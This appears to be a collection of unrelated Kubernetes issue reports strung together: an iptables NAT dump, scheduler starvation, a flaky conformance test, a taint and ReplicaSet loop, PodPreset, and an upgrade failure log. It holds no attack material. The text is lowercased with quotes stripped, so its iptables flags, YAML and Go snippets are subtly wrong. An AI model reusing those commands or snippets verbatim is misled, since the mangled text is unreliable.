ctstate related,established\r \r chain kube-services  1 references \r  pkts bytes target     prot opt in     out     source               destination\r    \r    \r  root@kube-node2 ~   iptables -s -t nat\r -p prerouting accept\r -p input accept\r -p output accept\r -p postrouting accept\r -n docker\r -n kube-mark-drop\r -n kube-mark-masq\r -n kube-nodeports\r -n kube-postrouting\r -n kube-sep-4yr44gkk7rskm3ii\r -n kube-sep-blvp7ucl2wpdrhcq\r -n kube-sep-fonul3nyg744baio\r -n kube-sep-g3cbg7p2ticiqtc3\r -n kube-sep-koxfdpwuwfkcq3tz\r -n kube-sep-qlqaqjfkgj7cyykv\r -n kube-sep-ueayfiz2ibk7hsga\r -n kube-sep-yakg6up7q3earb2q\r -n kube-services\r -n kube-svc-4e7ksv2abifjrauz\r -n kube-svc-iwyzdspegu45djyr\r -n kube-svc-j4pggz6auxzwna2b\r -n kube-svc-npx46m4ptmtkrn6y\r -n kube-svc-req4fpvt7wyf4vla\r -a prerouting -m comment --comment \ kubernetes service portals\  -j kube-services\r -a prerouting -m addrtype --dst-type local -j docker\r -a output -m comment --comment \ kubernetes service portals\  -j kube-services\r -a output ! -d 127.0.0.0/8 -m addrtype --dst-type local -j docker\r -a postrouting -m comment --comment \ kubernetes postrouting rules\  -j kube-postrouting\r -a postrouting -s 172.30.13.0/24 ! -o docker0 -j masquerade\r -a docker -i docker0 -j return\r -a kube-mark-drop -j mark --set-xmark 0x8000/0x8000\r -a kube-mark-masq -j mark --set-xmark 0x4000/0x4000\r -a kube-nodeports -p tcp -m comment --comment \ ingress-nginx/ingress-nginx:http\  -m tcp --dport 8401 -j kube-mark-masq\r -a kube-nodeports -p tcp -m comment --comment \ ingress-nginx/ingress-nginx:http\  -m tcp --dport 8401 -j kube-svc-req4fpvt7wyf4vla\r -a kube-nodeports -p tcp -m comment --comment \ ingress-nginx/ingress-nginx:https\  -m tcp --dport 8402 -j kube-mark-masq\r -a kube-nodeports -p tcp -m comment --comment \ ingress-nginx/ingress-nginx:https\  -m tcp --dport 8402 -j kube-svc-4e7ksv2abifjrauz\r -a kube-nodeports -p tcp -m comment --comment \ default/testgin:\  -m tcp --dport 8501 -j kube-mark-masq\r -a kube-nodeports -p tcp -m comment --comment \ default/testgin:\  -m tcp --dport 8501 -j kube-svc-iwyzdspegu45djyr\r -a kube-postrouting -m comment --comment \ kubernetes service traffic requiring snat\  -m mark --mark 0x4000/0x4000 -j masquerade\r -a kube-sep-4yr44gkk7rskm3ii -s 192.168.0.12/32 -m comment --comment \ default/kubernetes:https\  -j kube-mark-masq\r -a kube-sep-4yr44gkk7rskm3ii -p tcp -m comment --comment \ default/kubernetes:https\  -m tcp -j dnat --to-destination 192.168.0.12:6443\r -a kube-sep-blvp7ucl2wpdrhcq -s 172.30.13.2/32 -m comment --comment \ ingress-nginx/ingress-nginx:https\  -j kube-mark-masq\r -a kube-sep-blvp7ucl2wpdrhcq -p tcp -m comment --comment \ ingress-nginx/ingress-nginx:https\  -m tcp -j dnat --to-destination 172.30.13.2:443\r -a kube-sep-fonul3nyg744baio -s 172.30.13.2/32 -m comment --comment \ ingress-nginx/ingress-nginx:http\  -j kube-mark-masq\r -a kube-sep-fonul3nyg744baio -p tcp -m comment --comment \ ingress-nginx/ingress-nginx:http\  -m tcp -j dnat --to-destination 172.30.13.2:80\r -a kube-sep-g3cbg7p2ticiqtc3 -s 172.30.96.2/32 -m comment --comment \ default/testgin:\  -j kube-mark-masq\r -a kube-sep-g3cbg7p2ticiqtc3 -p tcp -m comment --comment \ default/testgin:\  -m tcp -j dnat --to-destination 172.30.96.2:8080\r -a kube-sep-koxfdpwuwfkcq3tz -s 192.168.0.11/32 -m comment --comment \ default/kubernetes:https\  -j kube-mark-masq\r -a kube-sep-koxfdpwuwfkcq3tz -p tcp -m comment --comment \ default/kubernetes:https\  -m tcp -j dnat --to-destination 192.168.0.11:6443\r -a kube-sep-qlqaqjfkgj7cyykv -s 172.30.65.3/32 -m comment --comment \ ingress-nginx/default-http-backend:\  -j kube-mark-masq\r -a kube-sep-qlqaqjfkgj7cyykv -p tcp -m comment --comment \ ingress-nginx/default-http-backend:\  -m tcp -j dnat --to-destination 172.30.65.3:8080\r -a kube-sep-ueayfiz2ibk7hsga -s 192.168.0.13/32 -m comment --comment \ default/kubernetes:https\  -j kube-mark-masq\r -a kube-sep-ueayfiz2ibk7hsga -p tcp -m comment --comment \ default/kubernetes:https\  -m tcp -j dnat --to-destination 192.168.0.13:6443\r -a kube-sep-yakg6up7q3earb2q -s 172.30.65.2/32 -m comment --comment \ default/testgin:\  -j kube-mark-masq\r -a kube-sep-yakg6up7q3earb2q -p tcp -m comment --comment \ default/testgin:\  -m tcp -j dnat --to-destination 172.30.65.2:8080\r -a kube-services ! -s 172.30.0.0/16 -d 10.254.1.1/32 -p tcp -m comment --comment \ ingress-nginx/ingress-nginx:http cluster ip\  -m tcp --dport 80 -j kube-mark-masq\r -a kube-services -d 10.254.1.1/32 -p tcp -m comment --comment \ ingress-nginx/ingress-nginx:http cluster ip\  -m tcp --dport 80 -j kube-svc-req4fpvt7wyf4vla\r -a kube-services ! -s 172.30.0.0/16 -d 10.254.1.1/32 -p tcp -m comment --comment \ ingress-nginx/ingress-nginx:https cluster ip\  -m tcp --dport 443 -j kube-mark-masq\r -a kube-services -d 10.254.1.1/32 -p tcp -m comment --comment \ ingress-nginx/ingress-nginx:https cluster ip\  -m tcp --dport 443 -j kube-svc-4e7ksv2abifjrauz\r -a kube-services ! -s 172.30.0.0/16 -d 10.254.2.1/32 -p tcp -m comment --comment \ default/testgin: cluster ip\  -m tcp --dport 8080 -j kube-mark-masq\r -a kube-services -d 10.254.2.1/32 -p tcp -m comment --comment \ default/testgin: cluster ip\  -m tcp --dport 8080 -j kube-svc-iwyzdspegu45djyr\r -a kube-services ! -s 172.30.0.0/16 -d 10.254.0.1/32 -p tcp -m comment --comment \ default/kubernetes:https cluster ip\  -m tcp --dport 443 -j kube-mark-masq\r -a kube-services -d 10.254.0.1/32 -p tcp -m comment --comment \ default/kubernetes:https cluster ip\  -m tcp --dport 443 -j kube-svc-npx46m4ptmtkrn6y\r -a kube-services ! -s 172.30.0.0/16 -d 10.254.52.59/32 -p tcp -m comment --comment \ ingress-nginx/default-http-backend: cluster ip\  -m tcp --dport 80 -j kube-mark-masq\r -a kube-services -d 10.254.52.59/32 -p tcp -m comment --comment \ ingress-nginx/default-http-backend: cluster ip\  -m tcp --dport 80 -j kube-svc-j4pggz6auxzwna2b\r -a kube-services -m comment --comment \ kubernetes service nodeports; note: this must be the last rule in this chain\  -m addrtype --dst-type local -j kube-nodeports\r -a kube-svc-4e7ksv2abifjrauz -m comment --comment \ ingress-nginx/ingress-nginx:https\  -j kube-sep-blvp7ucl2wpdrhcq\r -a kube-svc-iwyzdspegu45djyr -m comment --comment \ default/testgin:\  -m statistic --mode random --probability 0.50000000000 -j kube-sep-yakg6up7q3earb2q\r -a kube-svc-iwyzdspegu45djyr -m comment --comment \ default/testgin:\  -j kube-sep-g3cbg7p2ticiqtc3\r -a kube-svc-j4pggz6auxzwna2b -m comment --comment \ ingress-nginx/default-http-backend:\  -j kube-sep-qlqaqjfkgj7cyykv\r -a kube-svc-npx46m4ptmtkrn6y -m comment --comment \ default/kubernetes:https\  -m statistic --mode random --probability 0.33332999982 -j kube-sep-koxfdpwuwfkcq3tz\r -a kube-svc-npx46m4ptmtkrn6y -m comment --comment \ default/kubernetes:https\  -m statistic --mode random --probability 0.50000000000 -j kube-sep-4yr44gkk7rskm3ii\r -a kube-svc-npx46m4ptmtkrn6y -m comment --comment \ default/kubernetes:https\  -j kube-sep-ueayfiz2ibk7hsga\r -a kube-svc-req4fpvt7wyf4vla -m comment --comment \ ingress-nginx/ingress-nginx:http\  -j kube-sep-fonul3nyg744baio\r    \r    \r  root@kube-node2 ~   iptables -l -v -n -t nat\r chain prerouting  policy accept 8 packets, 848 bytes \r  pkts bytes target     prot opt in     out     source               destination         \r   440 54269 kube-services  all  --                 0.0.0.0/0            0.0.0.0/0            /  kubernetes service portals  /\r   159 15269 docker     all  --                 0.0.0.0/0            0.0.0.0/0            addrtype match dst-type local\r \r chain input  policy accept 8 packets, 848 bytes \r  pkts bytes target     prot opt in     out     source               destination         \r \r chain output  policy accept 8 packets, 680 bytes \r  pkts bytes target     prot opt in     out     source               destination         \r 15029  912k kube-services  all  --                 0.0.0.0/0            0.0.0.0/0            /  kubernetes service portals  /\r     0     0 docker     all  --                 0.0.0.0/0           !127.0.0.0/8          addrtype match dst-type local\r \r chain postrouting  policy accept 4 packets, 240 bytes \r  pkts bytes target     prot opt in     out     source               destination         \r 15072  915k kube-postrouting  all  --                 0.0.0.0/0            0.0.0.0/0            /  kubernetes postrouting rules  /\r    32  2128 masquerade  all  --         !docker0  172.30.13.0/24       0.0.0.0/0           \r \r chain docker  2 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 return     all  --  docker0         0.0.0.0/0            0.0.0.0/0           \r \r chain kube-mark-drop  0 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 mark       all  --                 0.0.0.0/0            0.0.0.0/0            mark or 0x8000\r \r chain kube-mark-masq  16 references \r  pkts bytes target     prot opt in     out     source               destination         \r     4   240 mark       all  --                 0.0.0.0/0            0.0.0.0/0            mark or 0x4000\r \r chain kube-nodeports  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 kube-mark-masq  tcp  --                 0.0.0.0/0            0.0.0.0/0            /  ingress-nginx/ingress-nginx:http  / tcp dpt:8401\r     0     0 kube-svc-req4fpvt7wyf4vla  tcp  --                 0.0.0.0/0            0.0.0.0/0            /  ingress-nginx/ingress-nginx:http  / tcp dpt:8401\r     0     0 kube-mark-masq  tcp  --                 0.0.0.0/0            0.0.0.0/0            /  ingress-nginx/ingress-nginx:https  / tcp dpt:8402\r     0     0 kube-svc-4e7ksv2abifjrauz  tcp  --                 0.0.0.0/0            0.0.0.0/0            /  ingress-nginx/ingress-nginx:https  / tcp dpt:8402\r     0     0 kube-mark-masq  tcp  --                 0.0.0.0/0            0.0.0.0/0            /  default/testgin:  / tcp dpt:8501\r     0     0 kube-svc-iwyzdspegu45djyr  tcp  --                 0.0.0.0/0            0.0.0.0/0            /  default/testgin:  / tcp dpt:8501\r \r chain kube-postrouting  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r     8   680 masquerade  all  --                 0.0.0.0/0            0.0.0.0/0            /  kubernetes service traffic requiring snat  / mark match 0x4000/0x4000\r \r chain kube-sep-4yr44gkk7rskm3ii  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 kube-mark-masq  all  --                 192.168.0.12         0.0.0.0/0            /  default/kubernetes:https  /\r     0     0 dnat       tcp  --                 0.0.0.0/0            0.0.0.0/0            /  default/kubernetes:https  / tcp to:192.168.0.12:6443\r \r chain kube-sep-blvp7ucl2wpdrhcq  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 kube-mark-masq  all  --                 172.30.13.2          0.0.0.0/0            /  ingress-nginx/ingress-nginx:https  /\r     0     0 dnat       tcp  --                 0.0.0.0/0            0.0.0.0/0            /  ingress-nginx/ingress-nginx:https  / tcp to:172.30.13.2:443\r \r chain kube-sep-fonul3nyg744baio  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 kube-mark-masq  all  --                 172.30.13.2          0.0.0.0/0            /  ingress-nginx/ingress-nginx:http  /\r     0     0 dnat       tcp  --                 0.0.0.0/0            0.0.0.0/0            /  ingress-nginx/ingress-nginx:http  / tcp to:172.30.13.2:80\r \r chain kube-sep-g3cbg7p2ticiqtc3  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 kube-mark-masq  all  --                 172.30.96.2          0.0.0.0/0            /  default/testgin:  /\r     3   180 dnat       tcp  --                 0.0.0.0/0            0.0.0.0/0            /  default/testgin:  / tcp to:172.30.96.2:8080\r \r chain kube-sep-koxfdpwuwfkcq3tz  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 kube-mark-masq  all  --                 192.168.0.11         0.0.0.0/0            /  default/kubernetes:https  /\r     0     0 dnat       tcp  --                 0.0.0.0/0            0.0.0.0/0            /  default/kubernetes:https  / tcp to:192.168.0.11:6443\r \r chain kube-sep-qlqaqjfkgj7cyykv  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 kube-mark-masq  all  --                 172.30.65.3          0.0.0.0/0            /  ingress-nginx/default-http-backend:  /\r     0     0 dnat       tcp  --                 0.0.0.0/0            0.0.0.0/0            /  ingress-nginx/default-http-backend:  / tcp to:172.30.65.3:8080\r \r chain kube-sep-ueayfiz2ibk7hsga  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 kube-mark-masq  all  --                 192.168.0.13         0.0.0.0/0            /  default/kubernetes:https  /\r     0     0 dnat       tcp  --                 0.0.0.0/0            0.0.0.0/0            /  default/kubernetes:https  / tcp to:192.168.0.13:6443\r \r chain kube-sep-yakg6up7q3earb2q  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 kube-mark-masq  all  --                 172.30.65.2          0.0.0.0/0            /  default/testgin:  /\r     1    60 dnat       tcp  --                 0.0.0.0/0            0.0.0.0/0            /  default/testgin:  / tcp to:172.30.65.2:8080\r \r chain kube-services  2 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 kube-mark-masq  tcp  --                !172.30.0.0/16        10.254.0.1           /  default/kubernetes:https cluster ip  / tcp dpt:443\r     0     0 kube-svc-npx46m4ptmtkrn6y  tcp  --                 0.0.0.0/0            10.254.0.1           /  default/kubernetes:https cluster ip  / tcp dpt:443\r     0     0 kube-mark-masq  tcp  --                !172.30.0.0/16        10.254.52.59         /  ingress-nginx/default-http-backend: cluster ip  / tcp dpt:80\r     0     0 kube-svc-j4pggz6auxzwna2b  tcp  --                 0.0.0.0/0            10.254.52.59         /  ingress-nginx/default-http-backend: cluster ip  / tcp dpt:80\r     0     0 kube-mark-masq  tcp  --                !172.30.0.0/16        10.254.1.1           /  ingress-nginx/ingress-nginx:http cluster ip  / tcp dpt:80\r     0     0 kube-svc-req4fpvt7wyf4vla  tcp  --                 0.0.0.0/0            10.254.1.1           /  ingress-nginx/ingress-nginx:http cluster ip  / tcp dpt:80\r     0     0 kube-mark-masq  tcp  --                !172.30.0.0/16        10.254.1.1           /  ingress-nginx/ingress-nginx:https cluster ip  / tcp dpt:443\r     0     0 kube-svc-4e7ksv2abifjrauz  tcp  --                 0.0.0.0/0            10.254.1.1           /  ingress-nginx/ingress-nginx:https cluster ip  / tcp dpt:443\r     4   240 kube-mark-masq  tcp  --                !172.30.0.0/16        10.254.2.1           /  default/testgin: cluster ip  / tcp dpt:8080\r     4   240 kube-svc-iwyzdspegu45djyr  tcp  --                 0.0.0.0/0            10.254.2.1           /  default/testgin: cluster ip  / tcp dpt:8080\r     8   848 kube-nodeports  all  --                 0.0.0.0/0            0.0.0.0/0            /  kubernetes service nodeports; note: this must be the last rule in this chain  / addrtype match dst-type local\r \r chain kube-svc-4e7ksv2abifjrauz  2 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 kube-sep-blvp7ucl2wpdrhcq  all  --                 0.0.0.0/0            0.0.0.0/0            /  ingress-nginx/ingress-nginx:https  /\r \r chain kube-svc-iwyzdspegu45djyr  2 references \r  pkts bytes target     prot opt in     out     source               destination         \r     1    60 kube-sep-yakg6up7q3earb2q  all  --                 0.0.0.0/0            0.0.0.0/0            /  default/testgin:  / statistic mode random probability 0.50000000000\r     3   180 kube-sep-g3cbg7p2ticiqtc3  all  --                 0.0.0.0/0            0.0.0.0/0            /  default/testgin:  /\r \r chain kube-svc-j4pggz6auxzwna2b  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 kube-sep-qlqaqjfkgj7cyykv  all  --                 0.0.0.0/0            0.0.0.0/0            /  ingress-nginx/default-http-backend:  /\r \r chain kube-svc-npx46m4ptmtkrn6y  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 kube-sep-koxfdpwuwfkcq3tz  all  --                 0.0.0.0/0            0.0.0.0/0            /  default/kubernetes:https  / statistic mode random probability 0.33332999982\r     0     0 kube-sep-4yr44gkk7rskm3ii  all  --                 0.0.0.0/0            0.0.0.0/0            /  default/kubernetes:https  / statistic mode random probability 0.50000000000\r     0     0 kube-sep-ueayfiz2ibk7hsga  all  --                 0.0.0.0/0            0.0.0.0/0            /  default/kubernetes:https  /\r \r chain kube-svc-req4fpvt7wyf4vla  2 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 kube-sep-fonul3nyg744baio  all  --                 0.0.0.0/0            0.0.0.0/0            /  ingress-nginx/ingress-nginx:http  /\r    \r \r ip4 forward:\r    \r   cat /proc/sys/net/ipv4/ip_forward\r 1\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t20:17:28z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t20:08:34z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: virtualbox, 1 cpu, 500m memory\r - os  e.g. from /etc/os-release : centos7.5\r - kernel  e.g.  uname -a  : linux 3.10.0\r - install tools: \r - others:\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r in large clusters, events that trigger rescheduling of the unschedulable pods are frequent. for example, in a cluster with 1000 nodes, node updates, which are often just heartbeats, may happen at an average rate of 100/s. these events trigger rescheduling of unschedulable pods. the scheduler moves unschedulable pods to its active scheduling queue when such events are observed. there are two particularly problematic scenarios:\r 1. there are high- pods and preemption does not help make them schedulable. for example, they may have node affinity that cannot be satisfied, or they may have pod affinity to other pods that do not exist. such high  may go to the head of the active scheduling queue and block everything behind them.\r 2. there are many pending pods with the same priority, but a number of them are unschedulable. when these unschedulable pods are moved to the active queue, they are expected to go behind other pods in the queue, but since our queue sorts pods by  these pods have the same priority, their order is unspecified. the pop   algorithm of the heap swaps the head of the queue with the tail, effectively causing the heap to act similar to a lifo. so, pods which are tried recently, go to the head with a high probability and are retried. this starves pods behind them in the queue.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r   /assign

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  : the conformance test   sig-network  service endpoints latency should not be very high  conformance   flakes.\r \r   what you expected to happen  : conformance tests should not be flaky\r \r   how to reproduce it  as minimally and precisely as possible   : run the test against various clusters.\r \r   anything else we need to know?  : afaict the test is essentially testing the performance of the cluster's network? it also fails if even a single probe flakes  1 . i'm not sure that the former is reasonable for conformance, but the latter seems especially unreasonable.\r \r  1  https://gubernator.k8s.io/build/kubernetes-jenkins/pr-logs/pull/sigs.k8s.io_kind/318/pull-kind-conformance-parallel/488/ sig-network-service-endpoints-latency-should-not-be-very-high-conformance\r \r \r /area conformance\r cc @spiffxp @dims

what happened  :\r  when replicaset want to assign its pods to one specific node  rs.spec.template.spec.nodename != \ \   ,if that node was tainted, vicious circle would happen:\r     replicaset controller keeps creating pods. taint manager keeps deleted thosee pods.\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r creating a deployment\r    \r apiversion: apps/v1\r kind: deployment\r metadata:\r   name: foodep\r spec:\r   replicas: 5\r   selector:\r     matchlabels:\r       tier: frontend\r     matchexpressions:\r       - {key: tier, operator: in, values:  frontend }\r   template:\r     metadata:\r       labels:\r         app: guestbook\r         tier: frontend\r     spec:\r       nodename: foo-node\r       containers:\r       - name: php-redis\r         image: nginx\r    \r then taint the foo-node\r  kubectl taint nodes foo-node foo=foo:noexecute \r \r watching that pods was continuously created and killed\r

the -p argument to 'docker run' allows specifying the interface on which a port will be published:   -p, --publish=             publish a container's port to the host format: ip:hostport:containerport | ip::containerport | hostport:containerport | containerport  however, the container vm manifest only allows specifying hostport and containerport:  containers  .ports   -- ports to expose from the container.  _all of these are exposed out through the public interface of the vm._ containers  .ports  .containerport containers  .ports  .hostport  https://cloud.google.com/compute/docs/containers/container_vms  this is useful for implementing defense-in-depth, and as such an important feature. specifically it would allow opening a port that is not accessible off-machine when that is all that is needed.  in our scenario, the only intended client of that port is the local ssh daemon. securing the port through just a firewall setting has been deemed as insufficient, as opening that port inadvertently opens up a large surface area of capabilities.

when controller is being deleted it shouldn't try to change state of the cluster  e.g. delete/create pods in case of replicaset .  cc @kubernetes/sig-api-machinery @bgrant0607 @caesarxuchao @lavalamp

calculatenodepreferavoidpodspriority  : describes pods that should avoid this node. it seems use  controller type  and  uid  code as follow , but  uid  is generated by  kubernetes . how can i use this  \r    \r \t\tfor i := range avoids.preferavoidpods {\r \t\t\tavoid := &avoids.preferavoidpods i \r \t\t\t// todo: once we have controllerref implemented there will be at most one owner\r \t\t\t// of our pod. that said we won't even need loop theoretically. that said for\r \t\t\t// code simplicity, we can get rid of all breaks.\r \t\t\t// also, we can simply compare fields from ownerref with avoid.\r \t\t\tfor _, rc := range rcs {\r \t\t\t\tif avoid.podsignature.podcontroller.kind == \ replicationcontroller\  && avoid.podsignature.podcontroller.uid == rc.uid {\r \t\t\t\t\tavoidnode = true\r \t\t\t\t}\r \t\t\t}\r \t\t\tfor _, rs := range rss {\r \t\t\t\tif avoid.podsignature.podcontroller.kind == \ replicaset\  && avoid.podsignature.podcontroller.uid == rs.uid {\r \t\t\t\t\tavoidnode = true\r \t\t\t\t}\r \t\t\t}\r \t\t\tif avoidnode {\r \t\t\t\t// false is default value, so we don't even need to set it\r \t\t\t\t// to avoid unnecessary map operations.\r \t\t\t\tavoidnodes node.name  = true\r \t\t\t\tbreak\r \t\t\t}\r \t\t}\r    \r \r \r   kubernetes version    use  kubectl version  : \r version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.4+3b417cc\ , gitcommit:\ 3b417cc4ccd1b8f38ff9ec96bb50a81ca0ea9d56\ \r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r    \r name=\ red hat enterprise linux server\ \r version=\ 7.2  maipo \ \r id=\ rhel\ \r id_like=\ fedora\ \r version_id=\ 7.2\ \r pretty_name=\ red hat enterprise linux server 7.2  maipo \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:redhat:enterprise_linux:7.2:ga:server\ \r home_url=\ https://www.redhat.com/\ \r bug_report_url=\ https://bugzilla.redhat.com/\ \r redhat_bugzilla_product=\ red hat enterprise linux 7\ \r redhat_bugzilla_product_version=7.2\r redhat_support_product=\ red hat enterprise linux\ \r redhat_support_product_version=\ 7.2\r    \r -   kernel    e.g.  uname -a  : 3.10.0-327.el7.x86_64\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r \r \r   what you expected to happen  :\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else we need to know  :\r \r

podpreset  can make changes in a pod's spec that can have security implications, especially if the pod runs with elevated permissions or capabilities.  it should be possible to annotate a pod to indicate that that pod should not be manipulated by  podpreset .\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : podpreset\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r feature request\r \r   kubernetes version    use  kubectl version  :\r \r 1.6\r \r   environment  :\r \r any cluster\r

the fix is to avoid scaling replica sets with replica annotations synced to the actual size of the deployment. while doing that, we need to handle gracefully the case where all replica sets have their annotations synced but the sum of their spec.replicas does not match spec.replicas of the deployment.\r \r @kubernetes/sig-apps-bugs

failure cluster  c0e31161c6efb83e21da  https://go.k8s.io/triage c0e31161c6efb83e21da        error text:     error during ./hack/ginkgo-e2e.sh --ginkgo.skip=\\ slow\\ |\\ serial\\ |\\ disruptive\\ |\\ flaky\\ |\\ feature:.+\\  --kube-api-content-type=application/vnd.kubernetes.protobuf: exit status 1           failure cluster statistics: 1 tests failed,    2 jobs failed,    58 builds failed. failure stats cover 1 day time range '23 may 2017 16:00 utc' to '24 may 2017 16:00 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | test | 2 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gci-gce-proto | 52 |  24 may 2017 15:27 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-proto/8664  | | ci-kubernetes-e2e-gce-proto | 6 |  24 may 2017 07:16 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-proto/8835  |   current status  https://go.k8s.io/triage c0e31161c6efb83e21da

some upgrades on the 1.7 branch fail during  upgrade.sh  with:\r    \r i0629 17:28:35.763  == preparing node upgrade  to v1.7.0-rc.1.69+4a4b04e7ee1592 . ==\r i0629 17:28:35.763  == ensuring that new node base os image matched the existing node base os image\r i0629 17:28:35.763  warning: permanently added 'compute.6691934687288920630'  ecdsa  to the list of known hosts.\r i0629 17:28:35.763  == upgrading node environment variables. ==\r i0629 17:28:35.763  attempt 1 to create bootstrap-e2e-minion-template-v1-7-0-rc-1-69-4a4b04e7ee1592\r i0629 17:28:35.763  warning: you have selected a disk size of under  200gb . this may result in poor i/o performance. for more information, see: https://developers.google.com/compute/docs/disks pdperformance.\r i0629 17:28:35.763  created  https://www.googleapis.com/compute/v1/projects/gce-up-c1-3-g1-4-up-clu-n/global/instancetemplates/bootstrap-e2e-minion-template-v1-7-0-rc-1-69-4a4b04e7ee1592 .\r i0629 17:28:35.763  name                                                         machine_type   preemptible  creation_timestamp\r i0629 17:28:35.764  bootstrap-e2e-minion-template-v1-7-0-rc-1-69-4a4b04e7ee1592  n1-standard-2               2017-06-29t10:28:11.733-07:00\r i0629 17:28:35.764  instance template name: bootstrap-e2e-minion-template-v1-7-0-rc-1-69-4a4b04e7ee1592\r i0629 17:28:35.764  == finished preparing node upgrade  to v1.7.0-rc.1.69+4a4b04e7ee1592 . ==\r i0629 17:28:35.764  == upgrading nodes to v1.7.0-rc.1.69+4a4b04e7ee1592. ==\r i0629 17:28:35.764  == draining bootstrap-e2e-minion-group-c4t9. == \r i0629 17:28:35.764  the connection to the server 35.192.95.202 was refused - did you specify the right host or port?\r i0629 17:28:35.764  == failed to drain bootstrap-e2e-minion-group-c4t9 ==\r i0629 17:28:35.765  jun 29 17:28:25.625: info: unexpected error occurred: error running /workspace/kubernetes_skew/cluster/gce/upgrade.sh  -n v1.7.0-rc.1.69+4a4b04e7ee1592 ; got error exit status 1, stdout \ == pre-upgrade node os and kubelet versions ==\ name: \\\ bootstrap-e2e-master\\\ , osimage: \\\ container-optimized os from google\\\ , kubeletversion: \\\ v1.7.0-rc.1.69+4a4b04e7ee1592\\\ \ name: \\\ bootstrap-e2e-minion-group-c4t9\\\ , osimage: \\\ debian gnu/linux 7  wheezy \\\ , kubeletversion: \\\ v1.6.7-beta.0.39+425b2875135ebf\\\ \ name: \\\ bootstrap-e2e-minion-group-m3cs\\\ , osimage: \\\ debian gnu/linux 7  wheezy \\\ , kubeletversion: \\\ v1.6.7-beta.0.39+425b2875135ebf\\\ \ name: \\\ bootstrap-e2e-minion-group-vkdh\\\ , osimage: \\\ debian gnu/linux 7  wheezy \\\ , kubeletversion: \\\ v1.6.7-beta.0.39+425b2875135ebf\\\ \ == ensuring that new node base os image matched the existing node base os image\ == upgrading node environment variables. ==\ instance template name: bootstrap-e2e-minion-template-v1-7-0-rc-1-69-4a4b04e7ee1592\ == failed to drain bootstrap-e2e-minion-group-c4t9 ==\ \ , stderr \ project: gce-up-c1-3-g1-4-up-clu-n\ zone: us-central1-f\ instance_groups=bootstrap-e2e-minion-group\ node_names=bootstrap-e2e-minion-group-c4t9 bootstrap-e2e-minion-group-m3cs bootstrap-e2e-minion-group-vkdh\ == preparing node upgrade  to v1.7.0-rc.1.69+4a4b04e7ee1592 . ==\ warning: permanently added 'compute.6691934687288920630'  ecdsa  to the list of known hosts.\\r\ attempt 1 to create bootstrap-e2e-minion-template-v1-7-0-rc-1-69-4a4b04e7ee1592\ warning: you have selected a disk size of under  200gb . this may result in poor i/o performance. for more information, see: https://developers.google.com/compute/docs/disks pdperformance.\ created  https://www.googleapis.com/compute/v1/projects/gce-up-c1-3-g1-4-up-clu-n/global/instancetemplates/bootstrap-e2e-minion-template-v1-7-0-rc-1-69-4a4b04e7ee1592 .\ name                                                         machine_type   preemptible  creation_timestamp\ bootstrap-e2e-minion-template-v1-7-0-rc-1-69-4a4b04e7ee1592  n1-standard-2               2017-06-29t10:28:11.733-07:00\ == finished preparing node upgrade  to v1.7.0-rc.1.69+4a4b04e7ee1592 . ==\ == upgrading nodes to v1.7.0-rc.1.69+4a4b04e7ee1592. ==\ == draining bootstrap-e2e-minion-group-c4t9. == \ the connection to the server 35.192.95.202 was refused - did you specify the right host or port?\ \ \r    \r https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-1-6-1-7-upgrade-cluster-new/97/build-log.txt\r \r 